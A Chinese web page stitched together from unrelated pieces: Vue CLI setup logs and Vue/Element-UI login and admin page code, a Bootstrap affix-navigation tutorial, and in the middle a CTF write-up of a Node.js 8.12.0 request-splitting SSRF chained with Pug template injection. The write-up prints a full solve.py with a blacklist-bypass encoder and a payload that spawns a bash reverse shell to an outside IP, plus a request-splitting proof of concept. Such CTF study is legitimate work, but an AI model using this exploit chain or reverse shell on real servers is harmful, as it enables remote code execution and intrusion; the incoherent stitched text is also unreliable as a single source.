vue
Vue官網:https://cn.vuejs.org/
教程入口:https://cn.vuejs.org/v2/guide/
node
node官網:http://nodejs.cn/api/
官網:https://cli.vuejs.org/zh/guide/cli-service.html
Vue CLI 的包名稱由 vue-cli 改成了 @vue/cli。 如果你已經全局安裝了舊版本的 vue-cli(1.x 或 2.x),你需要先通過 npm uninstall vue-cli -g 或 yarn global remove vue-cli 卸載它。 |
vue-cli
idea-配置gitee
asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse (master) $ npm -v 查看node版本 6.13.4 asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse (master) $ vue --version 查看當前vue版本 2.9.6 asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse (master) $ npm install -g @vue/cli 安裝/升級vue-cli最新版 npm WARN deprecated @hapi/joi@15.1.1: joi is leaving the @hapi organization and moving back to 'joi' (https://github.com/sideway/joi/issues/2411) npm WARN deprecated request@2.88.2: request has been deprecated, see https://github.com/request/request/issues/3142 npm WARN deprecated @hapi/topo@3.1.6: This version has been deprecated and is no longer supported or maintained npm WARN deprecated @hapi/bourne@1.3.2: This version has been deprecated and is no longer supported or maintained npm WARN deprecated @hapi/hoek@8.5.1: This version has been deprecated and is no longer supported or maintained npm WARN deprecated @hapi/address@2.1.4: This version has been deprecated and is no longer supported or maintained vue-cli升級失敗 npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for fsevents@1.2.13: wanted {"os":"darwin","arch":"any"} (current: {"os":"win32","arch":"x64"}) npm ERR! code EEXIST npm ERR! path C:\Users\asus\AppData\Roaming\npm\node_modules\@vue\cli\bin\vue.js npm ERR! dest C:\Users\asus\AppData\Roaming\npm\vue npm ERR! EEXIST: file already exists, cmd shim 'C:\Users\asus\AppData\Roaming\npm\node_modules\@vue\cli\bin\vue.js' -> 'C:\Users\asus\AppData\Roaming\npm\vue' npm ERR! File exists: C:\Users\asus\AppData\Roaming\npm\vue npm ERR! Remove the existing file and try again, or run npm npm ERR! with --force to overwrite files recklessly. npm ERR! A complete log of this run can be found in: npm ERR! C:\Users\asus\AppData\Roaming\npm-cache\_logs20-07-19T13_45_04_918Z-debug.log $ vue create admin 創建vue項目,必須升級vue-cli 3.0以上 vue create is a Vue CLI 3 only command and you are using Vue CLI 2.9.6. You may want to run the following to upgrade to Vue CLI 3: npm uninstall -g vue-cli npm install -g @vue/cli $ npm uninstall -g vue-cli 卸載vue-cli removed 241 packages in 3.064s $ npm install -g @vue/cli 安裝升級@vue/cli asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse (master) $ vue --version @vue/cli 4.4.6 升級完成 |
asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-cevent-source-cloudcenter/cevent-source-cloudcenter (master) $ vue create cevent-ymcms-admin Vue CLI v4.4.6 ┌─────────────────────────────────────────────┐ │ │ │ New version available 4.4.6 → 4.5.11 │ │ Run yarn global add @vue/cli to update! │ │ │ └─────────────────────────────────────────────┘ ? Please pick a preset: default (babel, eslint) Vue CLI v4.4.6 ? Creating project in D:\DEV_CODE\Intelligy_idead_code\spring\springcloud\yameng-cevent-source-cloudcenter\cevent-source-cloudcenter\cevent-ymcms-admin. ?? Installing CLI plugins. This might take a while... > yorkie@2.0.0 install D:\DEV_CODE\Intelligy_idead_code\spring\springcloud\yameng-cevent-source-cloudcenter\cevent-source-cloudcenter\cevent-ymcms-admin\node_modules\yorkie > node bin/install.js setting up Git hooks ... ? Running completion hooks... ? Generating README.md... ? Successfully created project cevent-ymcms-admin. ? Get started with the following commands: $ cd cevent-ymcms-admin $ npm run serve asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-cevent-source-cloudcenter/cevent-source-cloudcenter (master) $ cd cevent-ymcms-admin/ asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-cevent-source-cloudcenter/cevent-source-cloudcenter/cevent-ymcms-admin (master) $ npm run serve > cevent-ymcms-admin@0.1.0 serve D:\DEV_CODE\Intelligy_idead_code\spring\springcloud\yameng-cevent-source-cloudcenter\cevent-source-cloudcenter\cevent-ymcms-admin > vue-cli-service serve INFO Starting development server... 98% after emitting CopyPlugin DONE Compiled successfully in 2896ms 21:49:14 App running at: - Local: http://localhost:8080/ - Network: http://192.168.3.4:8080/ |
idea項目
vue啟動
asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse (master) $ cd web-client/ asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse/web-client (master) $ npm install element-ui -S 安裝 npm WARN deprecated core-js@2.6.12: core-js@<3 is no longer maintained and not recommended for usage due to the number of issues. Please, upgrade your dependencies to the actual version of core-js@3. > core-js@2.6.12 postinstall D:\DEV_CODE\Intelligy_idead_code\spring\springcloud\yameng-webcourse\web-client\node_modules\babel-runtime\node_modules\core-js The project needs your help! Please consider supporting of core-js on Open Collective or Patreon: > https://opencollective.com/core-js > https://www.patreon.com/zloirock + element-ui@2.15.1 added 9 packages from 8 contributors in 11.703s 49 packages are looking for funding run `npm fund` for details |
element-ui
列數column=12 | 超小屏幕 手機 (<768px) | 小屏幕 平板 (≥768px) | 中等屏幕 桌面顯示器 (≥992px) | 大屏幕 大桌面顯示器 (≥1200px) |
柵格系統行為 | 總是水平排列 | 開始是堆疊在一起的,當大于這些閾值時將變為水平排列 | ||
.container 最大寬度 | None (自動) | 750px | 970px | 1170px |
類前綴 | .col-xs- | .col-sm- | .col-md- | .col-lg- |
最大列(column)寬 | 自動 | ~62px | ~81px | ~97px |
槽(gutter)寬 | 30px (每列左右均有 15px) | |||
偏移(Offsets) | 使用 .col-md-offset-* 類可以將列向右側偏移(間隔) |
* "off" 或 0 - 關閉規則
* "warn" 或 1 - 開啟規則,使用警告級別的錯誤:warn (不會導致程序退出)
* "error" 或 2 - 開啟規則,使用錯誤級別的錯誤:error (當被觸發的時候,程序會退出)
"no-alert" | 禁止使用alert confirm prompt |
"no-array-constructor" | 禁止使用數組構造器 |
"no-bitwise" | 禁止使用按位運算符 |
取消檢測在.eslintrc.js中申明off,或在package.json中關閉0
eslint
js特效
html引入
vue組件引入
效果圖
<template>
<div class="admin-login container">
<el-menu class="elMenu el-menu-demo" mode="horizontal" background-color="#021126" text-color="#14ddaa">
<span class="elMenuText" >企業ERP、CMS、CRM、OA多功能融合SpringCloud微服務系統</span>
</el-menu>
<div class="row center-block ">
<div class="login-block col-xs-10 col-xs-offset-1 col-sm-10 col-sm-offset-1 col-md-10 col-md-offset-1 col-lg-10 col-lg-offset-1">
<h1 class="logo-title"><img src="../../public/imgs/yameng-logo-1.png" alt="logo" class="logo-set ">亞盟CMS后臺登錄
</h1>
<div class="login-box jumbotron">
<div class="login-box-header">
<h2 class="header-title">一站式ERP電商管理系統</h2>
</div>
<div class="login-input">
<div class="inputArea">
<div class="input-group input-group-lg">
<span class="input-group-addon">賬號</span>
<input id="loginName" type="text" class="inputSpan form-control" placeholder="請輸入用戶名"
aria-describedby="sizing-addon1">
<span class="inputTag glyphicon glyphicon-user form-control-feedback text-primary"
aria-hidden="true"></span>
<div class="input1-show input-group-addon"></div>
</div>
<div class="input-group input-group-lg">
<span class="input-group-addon ">密碼</span>
<input id="loginPWD" type="password" class="inputSpan form-control" placeholder="請輸入密碼"
aria-describedby="sizing-addon1">
<span class="inputTag glyphicon glyphicon-lock form-control-feedback text-primary"
aria-hidden="true"></span>
<div class="input2-show input-group-addon"></div>
</div>
</div>
<el-checkbox class="rememberBox" v-model="remember" label="記住賬號·密碼" border></el-checkbox>
<el-button class="loginBtn" type="primary">登錄<i class="el-icon-s-promotion el-icon--right "></i>
</el-button>
</div>
</div>
</div>
<div class="line"></div>
<div class="loginFooter">
<div class="loginBottom">
<el-menu class="elMenu el-menu-demo" mode="horizontal" background-color="#021126" text-color="#14ddaa">
<span class="elMenuText" >Technology By @Cevent 2021</span>
<div>
<img class="bottom-logo" src="../../public/imgs/yameng-logo-1.png">
</div>
</el-menu>
</div>
</div>
</div>
</div>
</template>
<script>
//import "../../public/base/js/login/three.min.js";
//import "../../public/base/js/login/TweenMax.min.js";
//import "../../public/base/js/login/loginBG.js";
export default {
name: 'LoginComp',
props: {
msg: String
},
data() {
return {
message: '這里是登錄頁面',
input: '',
remember: true,
}
},
methods: {},
}
</script>
<style scoped>
.admin-login {
position: absolute;
width: 100%;
height: 100%;
margin: 0;
padding: 0;
background: url("../../public/imgs/BG-WALL.png");
background-size: 100% 100%;
overflow: hidden;
}
.logo-set {
width: 40px;
margin-right: 5px;
margin-bottom: 6px;
}
.login-block {
position: relative;
margin-top: 5%;
margin-bottom: 10%;
border: 2px solid white;
border-radius: 5px;
box-shadow: 2px 2px 5px steelblue;
color: white;
background: url("../../public/imgs/BG-WALL.png");
}
.logo-title {
display: block;
font-size: 24px;
}
.inputArea {
float: left;
}
.login-box {
margin-top: 10px;
margin-left: auto;
margin-right: auto;
margin-bottom: 10%;
padding: 5px;
max-width: 600px;
}
.login-input {
position: relative;
margin: 5px;
}
.header-title {
color: steelblue;
font-weight: bolder;
text-shadow: 0px 1px 0px #ffffff, 0px 2px 0px #e2d6d6, 0px 3px 0px #e2d6d6, 0px 4px 0px #e2d6d6, 0px 7px 0px #fff3cd, 0px 8px 7px #ffffff;
}
.inputSpan {
max-width: 500px;
}
.inputTag {
margin-top: 5px;
}
.rememberBox {
position: relative;
margin-top: 10px;
margin-left: 30%;
margin-bottom: 10px;
float: left;
color: steelblue;
}
.loginBtn {
margin-top: 10px;
background: steelblue;
border: 2px solid white;
}
.loginFooter{
position: absolute;
width: 100%;
bottom: 0;
}
.loginBottom {
position: relative;
background: steelblue;
}
.elMenu{
text-align: center;
}
.elMenu .elMenuText{
display: block;
font-size: 20px;
margin: 20px auto;
color: white;
}
.bottom-logo {
position: relative;
width: 50px;
margin-bottom: 10px;
}
</style>
login登錄頁
響應式
引入elementUI分欄柵格布局
參數 | 說明 | 類型 | 默認值 |
span | 柵格占據的列數 | number | 24 |
offset | 柵格左側的間隔格數 | number | 0 |
push | 柵格向右移動格數 | number | 0 |
pull | 柵格向左移動格數 | number | 0 |
:xs | <768px 響應式柵格數或者柵格屬性對象 | number/object (例如: {span: 4, offset: 4}) | |
:sm | ≥768px 響應式柵格數或者柵格屬性對象 | number/object (例如: {span: 4, offset: 4}) | |
:md | ≥992px 響應式柵格數或者柵格屬性對象 | number/object (例如: {span: 4, offset: 4}) | |
:lg | ≥1200px 響應式柵格數或者柵格屬性對象 | number/object (例如: {span: 4, offset: 4}) | |
:xl | ≥1920px 響應式柵格數或者柵格屬性對象 | number/object (例如: {span: 4, offset: 4}) | |
gutter | 柵格間隔 | number | 0 |
justify | flex 布局下的水平排列方式 | String start/end/center/space-around/space-between | Start |
align | flex 布局下的垂直排列方式 | String top/middle/bottom | top |
<template>
<div class="">
<div class="admin-nav">
<el-menu
:default-active="activeIndex2"
class="navTopElMenu el-menu"
mode="horizontal"
@select="handleSelect"
text-color="#fff"
>
<el-menu-item class="navBarLogoBlock">
<img class="navbarLogo" src="../../public/imgs/site-logo300-1.png" alt="">
<span class="logoTitle">亞盟微服務管理控臺</span>
</el-menu-item>
<div class="navTopRight">
<el-dropdown class="navTopItem">
<img class="loginIcon el-dropdown-link" :src="url">
<el-dropdown-menu slot="dropdown">
<el-dropdown-item>
<li class="privilege el-icon-trophy"></li>
<span class="privilegeTitle">您在系統擁有 4 項特權</span>
</el-dropdown-item>
<el-dropdown-item>
<li class="privilege el-icon-bank-card"></li>
賬號余額
</el-dropdown-item>
<el-dropdown-item>
<li class="privilege el-icon-postcard"></li>
積分
</el-dropdown-item>
<el-dropdown-item disabled>
<li class="privilege el-icon-s-flag"></li>
平臺認證
</el-dropdown-item>
<el-dropdown-item>
<li class="sets el-icon-s-tools"></li>
<span class="setsSpan">設置</span>
</el-dropdown-item>
<router-link to="/login">
<el-dropdown-item>
<li class="sets el-icon-s-unfold"></li>
<span class="setsSpan">退出登錄</span>
</el-dropdown-item>
</router-link>
</el-dropdown-menu>
</el-dropdown>
<div class="navTopItem">
<li class="el-icon-paperclip"></li>
<span class="loginInfo">歡迎 cevent 登錄</span>
</div>
<el-dropdown class="navTopItem">
<div class="topMsg">
<li class="el-icon-message-solid"></li>
<el-divider direction="vertical"></el-divider>
<span class=" el-dropdown-link">
消息中心
</span>
<el-badge :value="12" class="item">
</el-badge>
</div>
<el-dropdown-menu slot="dropdown">
<el-dropdown-item>消息通知
<el-badge :value="2" class="item">
</el-badge>
</el-dropdown-item>
<el-dropdown-item>產品評論
<el-badge :value="4" class="item">
</el-badge>
</el-dropdown-item>
<el-dropdown-item>客戶回復
<el-badge :value="9" class="item">
</el-badge>
</el-dropdown-item>
<el-dropdown-item disabled>問題邀請
<el-badge :value="1" class="item">
</el-badge>
</el-dropdown-item>
</el-dropdown-menu>
</el-dropdown>
</div>
</el-menu>
<!--<div class="breadNav"></div>-->
</div>
<div class="admin-nav-content">
<div class="admin-nav-left">
<el-row class="tac">
<el-col :xs="9" :sm="6" :md="5" :lg="4">
<!--default-openeds="['1-1','2-1','3-1','4-1']"-->
<el-menu default-active="0-1"
class="navLeftMenu el-menu-vertical"
@open="handleOpen"
@close="handleClose"
:collapse="isCollapse"
>
<div class="">
<el-submenu class="navLeftItem " index="0">
<div class="navLeftItemTitle" slot="title">
<i class="leftIcon el-icon-s-data"></i>
<span slot="title">數據中心</span>
</div>
<div class="leftItem">
<el-menu-item class="navLeftItemTitle menuItem active"
index="0-1">
<div class="gutterItem"></div>
站點數據
</el-menu-item>
<el-menu-item class="navLeftItemTitle menuItem"
index="0-2">
<div class="gutterItem"></div>
詢盤數據
</el-menu-item>
<el-menu-item class="navLeftItemTitle menuItem "
index="0-3">
<div class="gutterItem"></div>
客戶數據
</el-menu-item>
</div>
</el-submenu>
<el-submenu class="navLeftItem " index="1">
<div class="navLeftItemTitle" slot="title">
<i class="leftIcon el-icon-s-tools"></i>
<span slot="title">系統管理</span>
</div>
<div class="leftItem">
<el-menu-item class="navLeftItemTitle menuItem active"
index="1-1">
<div class="gutterItem"></div>
角色管理
</el-menu-item>
<el-menu-item class="navLeftItemTitle menuItem"
index="1-2">
<div class="gutterItem"></div>
權限管理
</el-menu-item>
<el-menu-item class="navLeftItemTitle menuItem "
index="1-3">
<div class="gutterItem"></div>
員工管理
</el-menu-item>
<el-menu-item class="navLeftItemTitle menuItem "
index="1-3">
<div class="gutterItem"></div>
會員信息
</el-menu-item>
</div>
</el-submenu>
</div>
</el-menu>
</el-col>
<el-col :xs="15" :sm="18" :md="19" :lg="20">
<div class="breadNav">
<el-breadcrumb class="breadNavBlock" separator-class="el-icon-arrow-right">
<el-breadcrumb-item :to="{ path: '/' }">首頁</el-breadcrumb-item>
<el-breadcrumb-item>數據中心</el-breadcrumb-item>
<el-breadcrumb-item>站點數據</el-breadcrumb-item>
</el-breadcrumb>
</div>
<router-view></router-view>
</el-col>
</el-row>
</div>
</div>
</div>
</template>
<script>
export default {
name: "Admin",
data() {
return {
message: '這里是登錄頁首頁',
activeIndex: '1',
activeIndex2: '1',
url: "/imgs/logo300-1.png",
isCollapse: false,
opensNav:[]
}
},
mounted() {
/*
jQuery查看頁面元素使用:這里的jq版本不行,先用原生js
添加class:$("標簽名").attr("className","class值")
刪除class: $("標簽名").removeClass("className")
*/
console.log("進入后臺管理頁面,獲取el-menu-item");
let elMenuItem=document.getElementsByClassName("el-menu-item");
for(let i=0;i<elMenuItem.length;i++){
elMenuItem[i].style.paddingLeft="0";
}
},
methods: {
handleSelect(key, keyPath) {
console.log(key, keyPath);
},
handleOpen(key, keyPath) {
console.log(key, keyPath);
},
handleClose(key, keyPath) {
console.log(key, keyPath);
}
}
}
</script>
admin
admin導航
header頭部導航
創L's合天智匯
nodejs 8.12.0版本的請求拆分攻擊(感覺現在叫http走私要好一點2333),pug模板的注入導致rce
當我們訪問http://web2.ctf.nullcon.net:8081/后會顯示下面的頁面。
由于上面沒有什么特點,url參數,交互框等,因此我們查看源代碼看看有沒有什么提示。
通過源碼(F12查看的)我們可以看到它在頁面加載js代碼完成后發送了個ajax請求:
var xhttp=new XMLHttpRequest();
xhttp.onreadystatechange=function() {
if (this.readyState==4 && this.status==200) {
document.getElementById("search").innerHTML=xhttp.responseText;
}
};
xhttp.open("GET", "/core?q=1", true);
xhttp.send();
我使用get請求發送/core?q=1,但是結果跟上面的首頁是一樣的只有一個動圖,這時你可能會想會不會是sql注入,服務器端注入等,但是經過一系列的反恐嘗試之沒有什么用。
但是在我們查看源代碼的時候還給了個提示<!-- /source -->通過訪問/source可以獲取題目源碼。
//node 8.12.0
var express=require('express');
var app=express();
var fs=require('fs');
var path=require('path');
var http=require('http');
var pug=require('pug');
app.get('/', function(req, res) {
res.sendFile(path.join(__dirname + '/index.html'));
});
app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/source.html'));
});
app.get('/getMeme',function(req,res){
res.send('<iframe src="https://giphy.com/embed/LLHkw7UnvY3Kw" width="480" height="480" frameBorder="0" class="giphy-embed" allowFullScreen></iframe><p><a href="https://giphy.com/gifs/kid-dances-jumbotron-LLHkw7UnvY3Kw">via GIPHY</a></p>')
});
app.get('/flag', function(req, res) {
var ip=req.connection.remoteAddress;
if (ip.includes('127.0.0.1')) {
var authheader=req.headers['adminauth'];
var pug2=decodeURI(req.headers['pug']);
var x=pug2.match(/[a-z]/g);
if(!x){
if (authheader==="secretpassword") {
var html=pug.render(pug2);
}
}
else{
res.send("No characters");
}
}
else{
res.send("You need to come from localhost");
}
});
app.get('/core', function(req, res) {
var q=req.query.q;
var resp="";
if (q) {
var url='http://localhost:8081/getMeme?' + q
console.log(url)
var trigger=blacklist(url);
if (trigger===true) {
res.send("<p>Errrrr, You have been Blocked</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
...省略...
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
function blacklist(url) {
var evilwords=["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen=evilwords.length;
for (var i=0; i < arrayLen; i++) {
const trigger=url.includes(evilwords[i]);
if (trigger===true) {
return true
}
}
}
...省略...
通過閱讀上面的代碼,我們可以看到node的版本是8.12.0,服務器端使用的框架是express,使用nodejs自帶的http包發送某些請求,服務端使用pug作為渲染模板(原理加jade)。
在沒有發現漏洞之前,先梳理一下代碼的流程:
1./:
使用sendFile來讀取index.html頁面并且渲染該頁面,通過前面我們知道該頁面有提示的內容。
2./source:
該頁面返回了服務器端的全部代碼。
3./getMeme:
該頁面沒有什么用就是返回了一個iframe框架,其中是個動圖。
4./flag:
這里驗證遠程地址包含127.0.0.1,adminauth===secretpassword,headers頭中必須包含pug字段并且其值不能包含小寫字母,最后會用pug引擎渲染pug,但是這里在渲染容易受到服務器端注入攻擊https://zhuanlan.zhihu.com/p/28823933,由此我們可以斷定前面需要用SSRF結合CRLF來繞過,不由聯想到node的版本號,因為該版本存在request splitting漏洞。
復制鏈接做實驗啦
Flask服務端模板注入漏洞:
實驗:Flask服務端模板注入漏洞(合天網安實驗室)
pug模板注入示例:
const pug=require('pug');
pug.render('#{console.log("1")}');
pug.render('-console.log(1)');
結果如下:
1
1
1
對于pug模板的相關知識可以參考如下鏈接:
https://pugjs.org/language/interpolation.html
通過動態的調試我們可以看到代碼的拼接過程:
var runtime=require('./');
module.exports=wrap;
// 利用js的Function來定義一個函數,pug是參數,后面是函數的定義
function wrap(template, templateName) {
templateName=templateName || 'template';
return Function('pug',
template + '\n' +
'return ' + templateName + ';'
)(runtime);
}
到:
(function anonymous(pug
) {
function template(locals) {var pug_html="", pug_mixins={}, pug_interp;var pug_debug_filename, pug_debug_line;try {;var locals_for_with=(locals || {});(function (console) {;pug_debug_line=1;
pug_html=pug_html + "\u003C" + (console.log("1")) + "\u003E\u003C\u002F" + (console.log("1")) + "\u003E";}.call(this,"console" in locals_for_with?locals_for_with.console:typeof console!=="undefined"?console:undefined));} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
return template;
})
上面的這段代碼中的template函數就是通過Function來構造的,代碼拼接進去的部分就是\u003C后面的console.log("1")和\u003E前面的console.log("1"),拼接了兩個console.log("1")這就是,然后在函數運行的時候就會執行console.log("1")。
我們可以看到代碼拼接進去了,結合上面兩段代碼簡化一下就是:
const t=Function('pug','function template(locals) {(console.log(locals))}'+'\n' +
'return ' + 'template' + ';');
t()("1");
request splitting漏洞代碼示例:
const http=require('http')
const server=http.createServer((req, res)=> {
console.log(req.url);
res.end();
});
server.listen(8000, function() {
http.get('http://192.168.220.157:8000/?param=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:{\u0120}127.0.0.1:8000\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private', function() {
});
});
結果如下:
listening on [any] 8000 ...
192.168.220.1: inverse host lookup failed: Unknown host
connect to [192.168.220.157] from (UNKNOWN) [192.168.220.1] 65115
GET /?param=x HTTP/1.1
Host:%7B %7D127.0.0.1:8000
GET /private HTTP/1.1
Host: 192.168.220.157:8000
Connection: close
由上面的結果可知我們已經成功實現了CRLF注入(上面的顯示:為%7B %7D可能是我kali的問題)。
接下來我們需要看那里調用了http.get導致SSRF。
5./core
這里的q是我們可控的,而且這里使用了http.get來發起請求剛好滿足我們上面的條件,但是構造的url中不能有["global", "process","mainModule","require","root","child_process","exec","\"","'","!"]字符串,我們可以對代碼進行jsfuck加密繞過,但是由于加密后的代碼太大,請求量會很大,因此一般用js的匿名函數來繞過,且字母我們可以用8進制,16進制來代替,例如:
[]['map']['constructor']('alert(1)')();
[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')();
[]['\x6d\x61\x70']['\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72']('\x61\x6c\x65\x72\x74(1)')();
構造的腳本如下:
function stringToHex(str,mode=8){
const splitChar=["\"","\'","`","[","]",";","(",")",".","1","2","3","4","5","6","7","8","9"];
let result="";
for(let i=0; i < str.length; i++){
if(result===""){
const char=str[i];
if(splitChar.includes(char)){
result=char
}else {
result=str.charCodeAt(i).toString(mode)
}
}else{
const char=str[i];
if(splitChar.includes(char)){
result+=char
}else {
const tmp=str.charCodeAt(i).toString(mode);
mode===8?
result +="\\" + tmp:
result +="\\x" + tmp;
}
}
}
return result;
}
console.log(stringToHex("[]['map']['constructor']('alert(1)')();",16));
上面的原理相當于構造了個new Function("alert(1)")();,由于Object的constructor是指向Function的,示例如下:
//我們可以使用以下方式創建一個函數:
new Function("alert(1)");
//也可以不要new
Function("alert(1)")()
//可以將Function轉換下
"...".substr.constructor("alert(1)")()
//再轉換下
"..."["substr"]["constructor"]("alert(1)")()
//字符串全部轉義
"..."["\163\165\142\163\164\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")();
代碼我們也梳理了一遍,現在我們來看看怎么rce拿到flag。
solve.py
# coding=UTF-8
import requests
from requests.utils import quote
def strTohex(str):
result=""
for i in str:
if i>='a'and i<='z':
result+='\\'+oct(ord(i))[1:]
else:
result+=i
return result
# https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/
SPACE=u'\u0120'.encode('utf-8')
CRLF=u'\u010d\u010a'.encode('utf-8')
SLASH=u'\u012f'.encode('utf-8')
cmd='bash -i >& /dev/tcp/192.168.220.157/8888 0>&1'
payload="process.binding('spawn_sync').spawn({file:'bash',args:['/bin/bash','-c','%s'],envPairs:['y='],stdio:[{type:'pipe',readable:1}]})" % (cmd)
pug=strTohex('''-[]["constructor"]["constructor"]("{}")()'''.format(payload)).replace('"','%22').replace("'","%27")
# pug=strTohex('''#{[]["constructor"]["constructor"]("%s")()}'''%(payload)).replace('"','%22').replace("'","%27")
print quote(pug)
payload='sol'+SPACE+'HTTP'+SLASH+'1.1'+CRLF*2+'GET'+SPACE+SLASH+'flag'+SPACE+'HTTP'+SLASH+'1.1'+CRLF+'x-forwarded-for:'+SPACE+'127.0.0.1'+CRLF+'adminauth:'+SPACE+'secretpassword'+CRLF+'pug:'+SPACE+pug+CRLF+'test:'+SPACE
print payload
res=requests.get('http://192.168.220.154:8081/core?q='+quote(payload))
#res=requests.get('http://web2.ctf.nullcon.net:8081/core?q='+requote_uri(payload))
print res.content
結果如下:
通過這次的學習,感覺自己還有好多的不足,因此自己還有好多需要去了解的,去學習的。
參考鏈接
https://wooyun.js.org/drops/%E4%B8%80%E4%B8%AA%E5%8F%AF%E5%A4%A7%E8%A7%84%E6%A8%A1%E6%82%84%E6%97%A0%E5%A3%B0%E6%81%AF%E7%AA%83%E5%8F%96%E6%B7%98%E5%AE%9D.%E6%94%AF%E4%BB%98%E5%AE%9D%E8%B4%A6%E5%8F%B7%E4%B8%8E%E5%AF%86%E7%A0%81%E7%9A%84%E6%BC%8F%E6%B4%9E%20-%EF%BC%88%E5%9F%8B%E9%9B%B7%E5%BC%8F%E6%94%BB%E5%87%BB%E9%99%84%E5%B8%A6%E8%A7%86%E9%A2%91%E6%BC%94%E7%A4%BA%EF%BC%89.html
https://mengsec.com/2019/06/14/alert1-to-win/
https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/
https://zhuanlan.zhihu.com/p/28823933
https://tipi-hack.github.io/2019/04/14/breizh-jail-calc2.html
聲明:筆者初衷用于分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為后果自負,與合天智匯及原作者無關!
ootstrap框架中,附加導航可以實現某個 <div> 固定在頁面的某個位置。如果需向元素添加附加導航(Affix)行為,只需要向需要監聽的元素添加data-spy="affix"即可,使用偏移來定義何時切換元素的鎖定和移動。
滾動監聽插件(scroll)是用來根據滾動條所處的位置來自動更新導航項的。
案例的效果如下
網頁文件nav5.html的代碼如下:
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no">
<title>附加導航</title>
<link rel="stylesheet" href="css/bootstrap.css">
<style type="text/css">
*{
margin:0px;
padding:0px;
}
.cont1{
height:2000px;
}
.nav-pills{
width:170px;
}
.nav-pills.affix{
top:150px;
}
.pic{
padding:100px 0px;
}
</style>
</head>
<body data-spy="scroll">
<div class="container">
<div class="jumbotron" style="height:120px">
<h2>追憶</h2>
</div>
<div class="row">
<div class="col-xs-3">
<ul class="nav nav-pills nav-stacked" data-spy="affix">
<li class="active"><a href="#d1">1.夢想</a></li>
<li><a href="#d2">2.愛心</a></li>
<li><a href="#d3">3.讀書</a></li>
<li><a href="#d4">4.時間</a></li>
<li><a href="#d5">5.回憶</a></li>
</ul>
</div>
<div class="col-xs-9">
<div id="d1" class="pic">
<h4>夢想的力量</h4>
<img src="img/b1.jpg" />
</div>
<div id="d2" class="pic">
<h4>愛心的付出</h4>
<img src="img/b2.jpg" />
</div>
<div id="d3" class="pic">
<h4>讀書的享受</h4>
<img src="img/b3.jpg" />
</div>
<div id="d4" class="pic">
<h4>時間的流失</h4>
<img src="img/b4.jpg" />
</div>
<div id="d5" class="pic">
<h4>回憶的美好</h4>
<img src="img/b5.jpg" />
</div>
</div>
</div>
</div>
<div class="cont1">
</div>
<script src="js/jquery-3.2.1.min.js"></script>
<script src="js/bootstrap.js"></script>
</body>
</html>
至此,案例制作完成。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。